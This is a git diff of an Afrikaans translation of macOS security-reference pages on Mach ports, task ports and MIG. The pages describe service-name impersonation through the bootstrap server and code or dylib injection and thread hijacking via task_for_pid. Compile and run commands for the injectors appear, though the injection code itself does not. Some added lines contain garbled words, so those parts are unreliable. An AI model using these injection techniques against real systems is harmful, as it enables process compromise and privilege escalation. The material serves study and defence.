reg oor sy poort**. - As die eienaar van die Ontvang reg **sterf** of dit doodmaak, het die **stuur reg nutteloos geword (dode naam).** -- **Stuur reg**, wat toelaat om boodskappe na die poort te stuur. -- Die Stuur reg kan **gekloneer** word sodat 'n taak wat 'n Stuur reg besit, die reg kan kloneer en **aan 'n derde taak kan toeken**. +- **Stuur reg**, wat die stuur van boodskappe na die poort toelaat. +- Die Stuur reg kan **gekloneer** word sodat 'n taak wat 'n Stuur reg besit die reg kan kloneer en **aan 'n derde taak kan toeken**. - Let daarop dat **poort regte** ook **oorgegee** kan word deur Mac boodskappe. -- **Stuur-eens reg**, wat toelaat om een boodskap na die poort te stuur en dan verdwyn. +- **Stuur-eens reg**, wat die stuur van een boodskap na die poort toelaat en dan verdwyn. - Hierdie reg **kan nie** **gekloneer** word nie, maar dit kan **verplaas** word. - **Poort stel reg**, wat 'n _poort stel_ aandui eerder as 'n enkele poort. Om 'n boodskap van 'n poort stel te verwyder, verwyder 'n boodskap van een van die poorte wat dit bevat. Poort stelle kan gebruik word om op verskeie poorte gelyktydig te luister, baie soos `select`/`poll`/`epoll`/`kqueue` in Unix. -- **Dode naam**, wat nie 'n werklike poort reg is nie, maar bloot 'n plekhouer. Wanneer 'n poort vernietig word, verander al bestaande poort regte na die poort in dode name. +- **Dode naam**, wat nie 'n werklike poort reg is nie, maar bloot 'n plekhouer. Wanneer 'n poort vernietig word, draai al bestaande poort regte na die poort in dode name. **Take kan STUUR regte aan ander oordra**, wat hulle in staat stel om boodskappe terug te stuur. **STUUR regte kan ook geklonen word, sodat 'n taak kan dupliceer en die reg aan 'n derde taak kan gee**. Dit, saam met 'n intermediêre proses bekend as die **bootstrap bediener**, stel effektiewe kommunikasie tussen take in staat. ### Lêer Poorte -Lêer poorte laat toe om lêerdeskriptoren in Mac poorte te kapsuleer (met behulp van Mach poort regte). Dit is moontlik om 'n `fileport` van 'n gegewe FD te skep met `fileport_makeport` en 'n FD van 'n fileport te skep met `fileport_makefd`. +Lêer poorte laat toe om lêer beskrywings in Mac poorte te kapsuleer (met behulp van Mach poort regte). Dit is moontlik om 'n `fileport` van 'n gegewe FD te skep met `fileport_makeport` en 'n FD van 'n fileport te skep met `fileport_makefd`. ### Vestiging van 'n kommunikasie -Soos vroeër genoem, is dit moontlik om regte te stuur met behulp van Mach boodskappe, egter, jy **kan nie 'n reg stuur sonder om reeds 'n reg te hê** om 'n Mach boodskap te stuur nie. So, hoe word die eerste kommunikasie gevestig? +Soos vroeër genoem, is dit moontlik om regte te stuur met behulp van Mach boodskappe, maar jy **kan nie 'n reg stuur sonder om reeds 'n reg te hê** om 'n Mach boodskap te stuur nie. So, hoe word die eerste kommunikasie gevestig? Vir hierdie, is die **bootstrap bediener** (**launchd** in mac) betrokke, aangesien **enigiemand 'n STUUR reg na die bootstrap bediener kan kry**, is dit moontlik om dit te vra vir 'n reg om 'n boodskap na 'n ander proses te stuur: -1. Taak **A** skep 'n **nuwe poort**, en verkry die **ONTVANG reg** oor dit. +1. Taak **A** skep 'n **nuwe poort**, en verkry die **ONTVAAG reg** oor dit. 2. Taak **A**, as die houer van die ONTVANG reg, **genereer 'n STUUR reg vir die poort**. 3. Taak **A** vestig 'n **verbinding** met die **bootstrap bediener**, en **stuur dit die STUUR reg** vir die poort wat dit aan die begin gegenereer het. - Onthou dat enigiemand 'n STUUR reg na die bootstrap bediener kan kry. 4. Taak A stuur 'n `bootstrap_register` boodskap na die bootstrap bediener om **die gegewe poort met 'n naam te assosieer** soos `com.apple.taska` -5. Taak **B** interaksie met die **bootstrap bediener** om 'n bootstrap **soektog vir die diens** naam (`bootstrap_lookup`) uit te voer. So die bootstrap bediener kan antwoordgee, taak B sal dit 'n **STUUR reg na 'n poort wat dit voorheen geskep het** binne die soektog boodskap stuur. As die soektog suksesvol is, sal die **bediener die STUUR reg** wat van Taak A ontvang is, dupliceer en **aan Taak B oordra**. +5. Taak **B** interaksie met die **bootstrap bediener** om 'n bootstrap **soektog vir die diens** naam (`bootstrap_lookup`) uit te voer. So die bootstrap bediener kan antwoord gee, taak B sal dit 'n **STUUR reg na 'n poort wat dit voorheen geskep het** binne die soektog boodskap stuur. As die soektog suksesvol is, sal die **bediener die STUUR reg** wat van Taak A ontvang is, dupliceer en **aan Taak B oordra**. - Onthou dat enigiemand 'n STUUR reg na die bootstrap bediener kan kry. 6. Met hierdie STUUR reg, is **Taak B** in staat om **'n boodskap** **na Taak A** te **stuur**. -7. Vir 'n bi-rigting kommunikasie genereer taak **B** gewoonlik 'n nuwe poort met 'n **ONTVANG** reg en 'n **STUUR** reg, en gee die **STUUR reg aan Taak A** sodat dit boodskappe na TAak B kan stuur (bi-rigting kommunikasie). +7. Vir 'n bi-rigting kommunikasie genereer taak **B** gewoonlik 'n nuwe poort met 'n **ONTVAAG** reg en 'n **STUUR** reg, en gee die **STUUR reg aan Taak A** sodat dit boodskappe na TAASK B kan stuur (bi-rigting kommunikasie). -Die bootstrap bediener **kan nie die diensnaam wat deur 'n taak geclaim word, verifieer nie**. Dit beteken 'n **taak** kan potensieel **enige stelseltaak naboots**, soos valslik **'n magtiging diensnaam te claim** en dan elke versoek goedkeur. +Die bootstrap bediener **kan nie die diens naam wat deur 'n taak geclaim word, verifieer nie**. Dit beteken 'n **taak** kan potensieel **enige stelseltaak naboots**, soos valslik **'n magtiging diens naam te claim** en dan elke versoek goedkeur. -Dan, stoor Apple die **name van stelsel-gelewerde dienste** in veilige konfigurasie lêers, geleë in **SIP-beskermde** gidse: `/System/Library/LaunchDaemons` en `/System/Library/LaunchAgents`. Saam met elke diensnaam, word die **geassosieerde binêre ook gestoor**. Die bootstrap bediener sal 'n **ONTVANG reg vir elkeen van hierdie diensname** skep en hou. +Dan, stoor Apple die **name van stelsel-gelewerde dienste** in veilige konfigurasie lêers, geleë in **SIP-beskermde** gidse: `/System/Library/LaunchDaemons` en `/System/Library/LaunchAgents`. Saam met elke diens naam, word die **geassosieerde binêre ook gestoor**. Die bootstrap bediener sal 'n **ONTVAAG reg vir elkeen van hierdie diens name** skep en hou. -Vir hierdie vooraf gedefinieerde dienste, verskil die **soektog proses effens**. Wanneer 'n diensnaam gesoek word, begin launchd die diens dinamies. Die nuwe werksvloei is soos volg: +Vir hierdie vooraf gedefinieerde dienste, verskil die **soektog proses effens**. Wanneer 'n diens naam opgevraag word, begin launchd die diens dinamies. Die nuwe werksvloei is soos volg: -- Taak **B** begin 'n bootstrap **soektog** vir 'n diensnaam. -- **launchd** kyk of die taak loop en as dit nie is nie, **begin** dit. +- Taak **B** begin 'n bootstrap **soektog** vir 'n diens naam. +- **launchd** kyk of die taak aan die gang is en as dit nie is nie, **begin** dit. - Taak **A** (die diens) voer 'n **bootstrap check-in** (`bootstrap_check_in()`) uit. Hier, die **bootstrap** bediener skep 'n STUUR reg, hou dit, en **oordra die ONTVANG reg aan Taak A**. - launchd dupliceer die **STUUR reg en stuur dit aan Taak B**. -- Taak **B** genereer 'n nuwe poort met 'n **ONTVANG** reg en 'n **STUUR** reg, en gee die **STUUR reg aan Taak A** (die svc) sodat dit boodskappe na TAak B kan stuur (bi-rigting kommunikasie). +- Taak **B** genereer 'n nuwe poort met 'n **ONTVAAG** reg en 'n **STUUR** reg, en gee die **STUUR reg aan Taak A** (die svc) sodat dit boodskappe na TAASK B kan stuur (bi-rigting kommunikasie). -Echter, hierdie proses geld slegs vir vooraf gedefinieerde stelseltaake. Nie-stelseltaake werk steeds soos oorspronklik beskryf, wat potensieel nabootsing kan toelaat. +Maar, hierdie proses geld slegs vir vooraf gedefinieerde stelseltaake. Nie-stelseltaake werk steeds soos oorspronklik beskryf, wat potensieel nabootsing kan toelaat. > [!CAUTION] > Daarom, launchd moet nooit crash nie of die hele stelsel sal crash. @@ -74,7 +74,7 @@ Echter, hierdie proses geld slegs vir vooraf gedefinieerde stelseltaake. Nie-ste [Vind meer inligting hier](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/) -Die `mach_msg` funksie, wat essensieel 'n stelselaanroep is, word gebruik om Mach boodskappe te stuur en te ontvang. Die funksie vereis dat die boodskap wat gestuur moet word, as die aanvanklike argument. Hierdie boodskap moet begin met 'n `mach_msg_header_t` struktuur, gevolg deur die werklike boodskapinhoud. Die struktuur is soos volg gedefinieer: +Die `mach_msg` funksie, wat essensieel 'n stelselaanroep is, word gebruik om Mach boodskappe te stuur en te ontvang. Die funksie vereis dat die boodskap wat gestuur moet word as die aanvanklike argument. Hierdie boodskap moet begin met 'n `mach_msg_header_t` struktuur, gevolg deur die werklike boodskap inhoud. Die struktuur is soos volg gedefinieer: ```c typedef struct { mach_msg_bits_t msgh_bits; @@ -85,7 +85,7 @@ mach_port_name_t msgh_voucher_port; mach_msg_id_t msgh_id; } mach_msg_header_t; ``` -Proses wat 'n _**ontvangsreg**_ besit, kan boodskappe op 'n Mach-poort ontvang. Omgekeerd, die **stuurders** word 'n _**stuur**_ of 'n _**stuur-eens reg**_ toegeken. Die stuur-eens reg is eksklusief vir die stuur van 'n enkele boodskap, waarna dit ongeldig word. +Proses wat 'n _**ontvangsreg**_ besit, kan boodskappe op 'n Mach-poort ontvang. Omgekeerd, die **stuurders** word 'n _**stuur**_ of 'n _**stuur-eens reg**_ toegeken. Die stuur-eens reg is uitsluitlik vir die stuur van 'n enkele boodskap, waarna dit ongeldig word. Die aanvanklike veld **`msgh_bits`** is 'n bitmap: @@ -162,7 +162,7 @@ In 32-bis is al die beskrywings 12B en die beskrywing tipe is in die 11de een. I Let daarop dat poorte aan die taaknaamruimte geassosieer is, so om 'n poort te skep of te soek, word die taaknaamruimte ook gevra (meer in `mach/mach_port.h`): - **`mach_port_allocate` | `mach_port_construct`**: **Skep** 'n poort. -- `mach_port_allocate` kan ook 'n **poortstel** skep: ontvangreg oor 'n groep poorte. Wanneer 'n boodskap ontvang word, word die poort aangedui waarvandaan dit gekom het. +- `mach_port_allocate` kan ook 'n **poortstel** skep: ontvangreg oor 'n groep poorte. Wanneer 'n boodskap ontvang word, word die poort aangedui van waar dit gekom het. - `mach_port_allocate_name`: Verander die naam van die poort (standaard 32-bis heelgetal) - `mach_port_names`: Kry poortname van 'n teiken - `mach_port_type`: Kry regte van 'n taak oor 'n naam @@ -170,7 +170,7 @@ Let daarop dat poorte aan die taaknaamruimte geassosieer is, so om 'n poort te s - `mach_port_allocate`: Toekenning van 'n nuwe ONTVANG, POORT_STEL of DOOD_NAAM - `mach_port_insert_right`: Skep 'n nuwe reg in 'n poort waar jy ONTVANG het - `mach_port_...` -- **`mach_msg`** | **`mach_msg_overwrite`**: Funksies wat gebruik word om **mach boodskappe te stuur en te ontvang**. Die oorskrywing weergawe laat jou toe om 'n ander buffer vir boodskapontvangs aan te dui (die ander weergawe sal dit net hergebruik). +- **`mach_msg`** | **`mach_msg_overwrite`**: Funksies wat gebruik word om **mach boodskappe te stuur en te ontvang**. Die oorskrywing weergawe laat jou toe om 'n ander buffer vir boodskapontvangs te spesifiseer (die ander weergawe sal dit net hergebruik). ### Debug mach_msg @@ -217,7 +217,7 @@ mach_port_name_t rcv_name, mach_msg_timeout_t timeout, mach_port_name_t notify); ``` -Kry die waardes van die registers: +Kry die waardes van die registreerders: ```armasm reg read $x0 $x1 $x2 $x3 $x4 $x5 $x6 x0 = 0x0000000124e04ce8 ;mach_msg_header_t (*msg) @@ -413,10 +413,10 @@ Daar is 'n paar spesiale poorte wat toelaat om **sekere sensitiewe aksies uit te Hierdie poorte word deur 'n nommer verteenwoordig. -**SEND** regte kan verkry word deur **`host_get_special_port`** aan te roep en **ONTVAAG** regte deur **`host_set_special_port`** aan te roep. Beide oproepe vereis egter die **`host_priv`** poort waartoe slegs root toegang het. Boonop was root in die verlede in staat om **`host_set_special_port`** aan te roep en arbitrêre te kap, wat byvoorbeeld toegelaat het om kodehandtekeninge te omseil deur `HOST_KEXTD_PORT` te kap (SIP voorkom dit nou). +**SEND** regte kan verkry word deur **`host_get_special_port`** aan te roep en **ONTVAAG** regte deur **`host_set_special_port`** aan te roep. Beide oproepe vereis egter die **`host_priv`** poort waartoe slegs root toegang het. Boonop was root in die verlede in staat om **`host_set_special_port`** aan te roep en arbitrêre te kap, wat byvoorbeeld toegelaat het om kodehandtekeninge te omseil deur `HOST_KEXTD_PORT` te kap (SIP keer dit nou). -Hierdie is in 2 groepe verdeel: Die **eerste 7 poorte behoort aan die kern** wat die 1 `HOST_PORT`, die 2 `HOST_PRIV_PORT`, die 3 `HOST_IO_MASTER_PORT` en die 7 is `HOST_MAX_SPECIAL_KERNEL_PORT` is.\ -Diegene wat **begin** met die nommer **8** is **besit deur stelseldemons** en hulle kan in [**`host_special_ports.h`**](https://opensource.apple.com/source/xnu/xnu-4570.1.46/osfmk/mach/host_special_ports.h.auto.html) verklaar word. +Hierdie is in 2 groepe verdeel: Die **eerste 7 poorte behoort aan die kern** wat die 1 `HOST_PORT`, die 2 `HOST_PRIV_PORT`, die 3 `HOST_IO_MASTER_PORT` en die 7 is `HOST_MAX_SPECIAL_KERNEL_PORT`.\ +Diegene wat **begin** met die nommer **8** behoort aan **sisteem daemons** en hulle kan in [**`host_special_ports.h`**](https://opensource.apple.com/source/xnu/xnu-4570.1.46/osfmk/mach/host_special_ports.h.auto.html) verklaar word. - **Gasheerpoort**: As 'n proses **SEND** voorreg oor hierdie poort het, kan hy **inligting** oor die **stelsel** verkry deur sy roetines aan te roep soos: - `host_processor_info`: Kry prosessorinligting @@ -432,15 +432,15 @@ Diegene wat **begin** met die nommer **8** is **besit deur stelseldemons** en hu - `vm_allocate_cpm`: Toewys Aaneengeskakelde Fisiese Geheue - `host_processors`: Stuur regte na gasheerprosessoren - `mach_vm_wire`: Maak geheue resident -- Aangesien **root** toegang tot hierdie toestemming kan verkry, kan dit `host_set_[special/exception]_port[s]` aanroep om **gasheer spesiale of uitsonderingspoorte te kap**. +- Aangesien **root** toegang tot hierdie toestemming kan verkry, kan dit `host_set_[special/exception]_port[s]` aanroep om **gasheer spesiale of uitsondering poorte** te **kap**. -Dit is moontlik om **alle gasheer spesiale poorte te sien** deur te loop: +Dit is moontlik om **alle gasheer spesiale poorte** te sien deur te loop: ```bash procexp all ports | grep "HSP" ``` ### Taak Spesiale Poorte -Dit is poorte wat gereserveer is vir bekende dienste. Dit is moontlik om hulle te kry/instel deur `task_[get/set]_special_port` aan te roep. Hulle kan gevind word in `task_special_ports.h`: +Hierdie is poorte wat gereserveer is vir bekende dienste. Dit is moontlik om hulle te kry/instel deur `task_[get/set]_special_port` aan te roep. Hulle kan gevind word in `task_special_ports.h`: ```c typedef int task_special_port_t; @@ -452,7 +452,7 @@ world.*/ #define TASK_PAGED_LEDGER_PORT 6 /* Paged resource ledger for task. */ ``` - **TASK_KERNEL_PORT**\[task-self send right]: Die poort wat gebruik word om hierdie taak te beheer. Gebruik om boodskappe te stuur wat die taak beïnvloed. Dit is die poort wat teruggegee word deur **mach_task_self (sien Taak Poorte hieronder)**. -- **TASK_BOOTSTRAP_PORT**\[bootstrap send right]: Die taak se bootstrap poort. Gebruik om boodskappe te stuur wat die terugkeer van ander stelseldiens poorte versoek. +- **TASK_BOOTSTRAP_PORT**\[bootstrap send right]: Die taak se bootstrap poort. Gebruik om boodskappe te stuur wat die terugkeer van ander stelseldienspoorte versoek. - **TASK_HOST_NAME_PORT**\[host-self send right]: Die poort wat gebruik word om inligting van die bevatende gasheer aan te vra. Dit is die poort wat teruggegee word deur **mach_host_self**. - **TASK_WIRED_LEDGER_PORT**\[ledger send right]: Die poort wat die bron benoem waaruit hierdie taak sy bedrade kerngeheue trek. - **TASK_PAGED_LEDGER_PORT**\[ledger send right]: Die poort wat die bron benoem waaruit hierdie taak sy standaard geheue bestuurde geheue trek. @@ -463,12 +463,12 @@ Oorspronklik het Mach nie "prosesse" gehad nie, dit het "take" gehad wat meer so Daar is twee baie interessante funksies wat hiermee verband hou: -- `task_for_pid(target_task_port, pid, &task_port_of_pid)`: Kry 'n SEND reg vir die taak poort van die taak wat verband hou met die spesifieke `pid` en gee dit aan die aangeduide `target_task_port` (wat gewoonlik die oproepende taak is wat `mach_task_self()` gebruik het, maar kan 'n SEND poort oor 'n ander taak wees). -- `pid_for_task(task, &pid)`: Gegee 'n SEND reg aan 'n taak, vind uit watter PID hierdie taak verband hou. +- `task_for_pid(target_task_port, pid, &task_port_of_pid)`: Kry 'n SEND-regte vir die taak poort van die taak wat verband hou met die spesifieke `pid` en gee dit aan die aangeduide `target_task_port` (wat gewoonlik die oproepende taak is wat `mach_task_self()` gebruik het, maar kan 'n SEND-poort oor 'n ander taak wees). +- `pid_for_task(task, &pid)`: Gegee 'n SEND-regte aan 'n taak, vind uit watter PID hierdie taak verband hou. -Om aksies binne die taak uit te voer, het die taak 'n `SEND` reg na homself nodig gehad deur `mach_task_self()` aan te roep (wat die `task_self_trap` (28) gebruik). Met hierdie toestemming kan 'n taak verskeie aksies uitvoer soos: +Om aksies binne die taak uit te voer, het die taak 'n `SEND` regte na homself nodig gehad deur `mach_task_self()` aan te roep (wat die `task_self_trap` (28) gebruik). Met hierdie toestemming kan 'n taak verskeie aksies uitvoer soos: -- `task_threads`: Kry SEND reg oor alle taak poorte van die drade van die taak +- `task_threads`: Kry SEND-regte oor alle taak poorte van die drade van die taak - `task_info`: Kry inligting oor 'n taak - `task_suspend/resume`: Suspend of hervat 'n taak - `task_[get/set]_special_port` @@ -477,13 +477,13 @@ Om aksies binne die taak uit te voer, het die taak 'n `SEND` reg na homself nodi - en meer kan gevind word in [**mach/task.h**](https://github.com/phracker/MacOSX-SDKs/blob/master/MacOSX11.3.sdk/System/Library/Frameworks/Kernel.framework/Versions/A/Headers/mach/task.h) > [!CAUTION] -> Let daarop dat met 'n SEND reg oor 'n taak poort van 'n **ander taak**, dit moontlik is om sulke aksies oor 'n ander taak uit te voer. +> Let daarop dat met 'n SEND-regte oor 'n taak poort van 'n **ander taak**, dit moontlik is om sulke aksies oor 'n ander taak uit te voer. -Boonop is die task_port ook die **`vm_map`** poort wat toelaat om **geheue te lees en te manipuleer** binne 'n taak met funksies soos `vm_read()` en `vm_write()`. Dit beteken basies dat 'n taak met SEND regte oor die task_port van 'n ander taak in staat gaan wees om **kode in daardie taak in te spuit**. +Boonop is die task_port ook die **`vm_map`** poort wat toelaat om **geheue te lees en te manipuleer** binne 'n taak met funksies soos `vm_read()` en `vm_write()`. Dit beteken basies dat 'n taak met SEND-regte oor die task_port van 'n ander taak in staat gaan wees om **kode in daardie taak in te spuit**. -Onthou dat omdat die **kern ook 'n taak is**, as iemand daarin slaag om 'n **SEND toestemming** oor die **`kernel_task`** te verkry, sal dit in staat wees om die kern enigiets te laat uitvoer (jailbreaks). +Onthou dat omdat die **kern ook 'n taak is**, as iemand daarin slaag om 'n **SEND-toestemmings** oor die **`kernel_task`** te verkry, sal dit in staat wees om die kern enigiets te laat uitvoer (jailbreaks). -- Roep `mach_task_self()` aan om **die naam** vir hierdie poort vir die oproepende taak te kry. Hierdie poort word slegs **geërf** oor **`exec()`**; 'n nuwe taak wat met `fork()` geskep word, kry 'n nuwe taak poort (as 'n spesiale geval, kry 'n taak ook 'n nuwe taak poort na `exec()` in 'n suid-binary). Die enigste manier om 'n taak te spawn en sy poort te kry, is om die ["port swap dance"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html) uit te voer terwyl jy `fork()` doen. +- Roep `mach_task_self()` aan om **die naam** vir hierdie poort vir die oproepende taak te kry. Hierdie poort word slegs **geërf** oor **`exec()`**; 'n nuwe taak wat met `fork()` geskep word, kry 'n nuwe taak poort (as 'n spesiale geval, kry 'n taak ook 'n nuwe taak poort na `exec()` in 'n suid-binary). Die enigste manier om 'n taak te spawn en sy poort te kry, is om die ["port swap dance"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html) uit te voer terwyl jy 'n `fork()` doen. - Dit is die beperkings om toegang tot die poort te verkry (van `macos_task_policy` van die binêre `AppleMobileFileIntegrity`): - As die app **`com.apple.security.get-task-allow` regte** het, kan prosesse van die **dieselfde gebruiker toegang tot die taak poort** verkry (gewoonlik deur Xcode vir debugging bygevoeg). Die **notarization** proses sal dit nie toelaat vir produksievrystellings nie. - Apps met die **`com.apple.system-task-ports`** regte kan die **taak poort vir enige** proses kry, behalwe die kern. In ouer weergawes is dit **`task_for_pid-allow`** genoem. Dit word slegs aan Apple-toepassings toegestaan. @@ -493,7 +493,7 @@ Onthou dat omdat die **kern ook 'n taak is**, as iemand daarin slaag om 'n **SEN ### Draad Poorte -Drade het ook geassosieerde poorte, wat sigbaar is vanaf die taak wat **`task_threads`** aanroep en vanaf die verwerker met `processor_set_threads`. 'n SEND reg oor die draad poort laat toe om die funksie van die `thread_act` subsysteem te gebruik, soos: +Drade het ook geassosieerde poorte, wat sigbaar is vanaf die taak wat **`task_threads`** aanroep en vanaf die verwerker met `processor_set_threads`. 'n SEND-regte op die draad poort laat toe om die funksie van die `thread_act` subsysteem te gebruik, soos: - `thread_terminate` - `thread_[get/set]_state` @@ -558,7 +558,7 @@ return 0; {{#endtab}} {{#endtabs}} -**Compileer** die vorige program en voeg die **toelaes** by om kode met dieselfde gebruiker in te spuit (as nie, sal jy **sudo** moet gebruik). +**Kompileer** die vorige program en voeg die **regte** by om kode met dieselfde gebruiker in te spuit (as nie, sal jy **sudo** moet gebruik).
@@ -768,7 +768,7 @@ gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject ./inject ``` > [!TIP] -> Vir dit om op iOS te werk, benodig jy die bevoegdheid `dynamic-codesigning` om 'n skryfbare geheue uitvoerbaar te maak. +> Vir dit om op iOS te werk, benodig jy die regte `dynamic-codesigning` om 'n skryfbare geheue uitvoerbaar te maak. ### Dylib Inspuiting in draad via Taakpoort @@ -1062,9 +1062,9 @@ fprintf(stderr,"Dylib not found\n"); gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector ./inject ``` -### Draad Oorname via Taakpoort +### Draad Hijacking via Taakpoort -In hierdie tegniek word 'n draad van die proses oor geneem: +In hierdie tegniek word 'n draad van die proses gehuig: {{#ref}} macos-thread-injection-via-task-port.md @@ -1072,19 +1072,19 @@ macos-thread-injection-via-task-port.md ### Taakpoort Inspuiting Detectie -Wanneer `task_for_pid` of `thread_create_*` 'n teller in die struktuur taak van die kern verhoog wat vanaf gebruikersmodus toegang kan verkry deur `task_info(task, TASK_EXTMOD_INFO, ...)` aan te roep. +Wanneer `task_for_pid` of `thread_create_*` 'n teller in die struktuur taak van die kernel verhoog wat vanaf gebruikersmodus toegang kan verkry deur `task_info(task, TASK_EXTMOD_INFO, ...)` aan te roep. ## Uitsondering Poorte Wanneer 'n uitsondering in 'n draad voorkom, word hierdie uitsondering na die aangewese uitsonderingpoort van die draad gestuur. As die draad dit nie hanteer nie, word dit na die taak uitsonderingpoorte gestuur. As die taak dit nie hanteer nie, word dit na die gasheerpoort gestuur wat deur launchd bestuur word (waar dit erken sal word). Dit word uitsondering triage genoem. -Let daarop dat aan die einde, gewoonlik as dit nie behoorlik hanteer word nie, die verslag deur die ReportCrash daemon hanteer sal word. Dit is egter moontlik vir 'n ander draad in dieselfde taak om die uitsondering te hanteer, dit is wat crash verslagdoening gereedskap soos `PLCreashReporter` doen. +Let daarop dat aan die einde, gewoonlik as dit nie behoorlik hanteer word nie, die verslag deur die ReportCrash daemon hanteer sal word. Dit is egter moontlik vir 'n ander draad in dieselfde taak om die uitsondering te hanteer, dit is wat crash reporting tools soos `PLCreashReporter` doen. ## Ander Voorwerpe -### Klok +### Horlosie -Enige gebruiker kan inligting oor die klok bekom, maar om die tyd in te stel of ander instellings te wysig, moet een root wees. +Enige gebruiker kan inligting oor die horlosie verkry, maar om die tyd in te stel of ander instellings te wysig, moet een root wees. Om inligting te verkry, is dit moontlik om funksies van die `clock` subsysteem aan te roep soos: `clock_get_time`, `clock_get_attributtes` of `clock_alarm`\ Om waardes te wysig, kan die `clock_priv` subsysteem gebruik word met funksies soos `clock_set_time` en `clock_set_attributes`. diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md index 981418893..6f4aaac2d 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md @@ -4,7 +4,7 @@ ## Basiese Inligting -MIG is geskep om die **proses van Mach IPC** kode-ontwikkeling te **vereenvoudig**. Dit genereer basies die **nodige kode** vir bediener en kliënt om met 'n gegewe definisie te kommunikeer. Alhoewel die gegenereerde kode lelik is, sal 'n ontwikkelaar net dit moet invoer en sy kode sal baie eenvoudiger wees as voorheen. +MIG is geskep om die **proses van Mach IPC** kode skep te **vereenvoudig**. Dit genereer basies die **nodige kode** vir bediener en kliënt om met 'n gegewe definisie te kommunikeer. Alhoewel die gegenereerde kode lelik is, sal 'n ontwikkelaar net dit moet invoer en sy kode sal baie eenvoudiger wees as voorheen. Die definisie word gespesifiseer in Interface Definition Language (IDL) met die `.defs` uitbreiding. @@ -25,7 +25,7 @@ Hierdie definisies het 5 afdelings: ### Voorbeeld -Skep 'n definisie-lêer, in hierdie geval met 'n baie eenvoudige funksie: +Skep 'n definisie lêer, in hierdie geval met 'n baie eenvoudige funksie: ```cpp:myipc.defs subsystem myipc 500; // Arbitrary name and id @@ -115,7 +115,7 @@ Werklik is dit moontlik om hierdie verhouding in die struktuur **`subsystem_to_n { "Subtract", 500 } #endif ``` -Uiteindelik, 'n ander belangrike funksie om die bediener te laat werk sal wees **`myipc_server`**, wat die een is wat werklik die **funksie** sal aanroep wat verband hou met die ontvangde id: +Uiteindelik, 'n ander belangrike funksie om die bediener te laat werk sal **`myipc_server`** wees, wat die een is wat werklik die **funksie** sal aanroep wat verband hou met die ontvangde id:
mig_external boolean_t myipc_server
 (mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP)
@@ -231,7 +231,7 @@ En **MIG-kliënte** sal die `__NDR_record` gebruik om met `__mach_msg` na die be
 
 Aangesien baie binêre nou MIG gebruik om mach-poorte bloot te stel, is dit interessant om te weet hoe om **te identifiseer dat MIG gebruik is** en die **funksies wat MIG uitvoer** met elke boodskap-ID.
 
-[**jtool2**](../../macos-apps-inspecting-debugging-and-fuzzing/#jtool2) kan MIG-inligting uit 'n Mach-O binêre ontleed wat die boodskap-ID aandui en die funksie identifiseer om uit te voer:
+[**jtool2**](../../macos-apps-inspecting-debugging-and-fuzzing/#jtool2) kan MIG-inligting uit 'n Mach-O binêre ontleed wat die boodskap-ID aandui en die funksie identifiseer wat uitgevoer moet word:
 ```bash
 jtool2 -d __DATA.__const myipc_server | grep MIG
 ```
@@ -241,7 +241,7 @@ jtool2 -d __DATA.__const myipc_server | grep BL
 ```
 ### Assembly
 
-Dit is voorheen genoem dat die funksie wat **die korrekte funksie sal aanroep afhangende van die ontvangde boodskap ID** `myipc_server` was. Dit is egter gewoonlik dat jy nie die simbole van die binêre (geen funksie name) sal hê nie, so dit is interessant om **te kyk hoe dit dekompilerend lyk** aangesien dit altyd baie soortgelyk sal wees (die kode van hierdie funksie is onafhanklik van die funksies wat blootgestel word):
+Daar is voorheen genoem dat die funksie wat **die korrekte funksie sal aanroep afhangende van die ontvangde boodskap ID** `myipc_server` was. Dit is egter gewoonlik dat jy nie die simbole van die binêre (geen funksie name) sal hê nie, so dit is interessant om **te kyk hoe dit dekompilleer lyk** aangesien dit altyd baie soortgelyk sal wees (die kode van hierdie funksie is onafhanklik van die funksies wat blootgestel is):
 
 {{#tabs}}
 {{#tab name="myipc_server decompiled 1"}}
@@ -249,7 +249,7 @@ Dit is voorheen genoem dat die funksie wat **die korrekte funksie sal aanroep af
 
int _myipc_server(int arg0, int arg1) {
 var_10 = arg0;
 var_18 = arg1;
-// Begininstruksies om die regte funksie aanwysers te vind
+// Begin instruksies om die regte funksie aanwysers te vind
 *(int32_t *)var_18 = *(int32_t *)var_10 & 0x1f;
 *(int32_t *)(var_18 + 0x8) = *(int32_t *)(var_10 + 0x8);
 *(int32_t *)(var_18 + 0x4) = 0x24;
@@ -258,7 +258,7 @@ var_18 = arg1;
 *(int32_t *)(var_18 + 0x10) = 0x0;
 if (*(int32_t *)(var_10 + 0x14) <= 0x1f4 && *(int32_t *)(var_10 + 0x14) >= 0x1f4) {
 rax = *(int32_t *)(var_10 + 0x14);
-// Oproep na sign_extend_64 wat kan help om hierdie funksie te identifiseer
+// Aanroep na sign_extend_64 wat kan help om hierdie funksie te identifiseer
 // Dit stoor in rax die aanwyser na die oproep wat gemaak moet word
 // Kontroleer die gebruik van die adres 0x100004040 (funksies adresse array)
 // 0x1f4 = 500 (die begin ID)
@@ -289,7 +289,7 @@ return rax;
 {{#endtab}}
 
 {{#tab name="myipc_server decompiled 2"}}
-Dit is dieselfde funksie dekompilerend in 'n ander Hopper gratis weergawe:
+Dit is dieselfde funksie dekompilleer in 'n ander Hopper gratis weergawe:
 
 
int _myipc_server(int arg0, int arg1) {
 r31 = r31 - 0x40;
@@ -297,7 +297,7 @@ saved_fp = r29;
 stack[-8] = r30;
 var_10 = arg0;
 var_18 = arg1;
-// Begininstruksies om die regte funksie aanwysers te vind
+// Begin instruksies om die regte funksie aanwysers te vind
 *(int32_t *)var_18 = *(int32_t *)var_10 & 0x1f | 0x0;
 *(int32_t *)(var_18 + 0x8) = *(int32_t *)(var_10 + 0x8);
 *(int32_t *)(var_18 + 0x4) = 0x24;
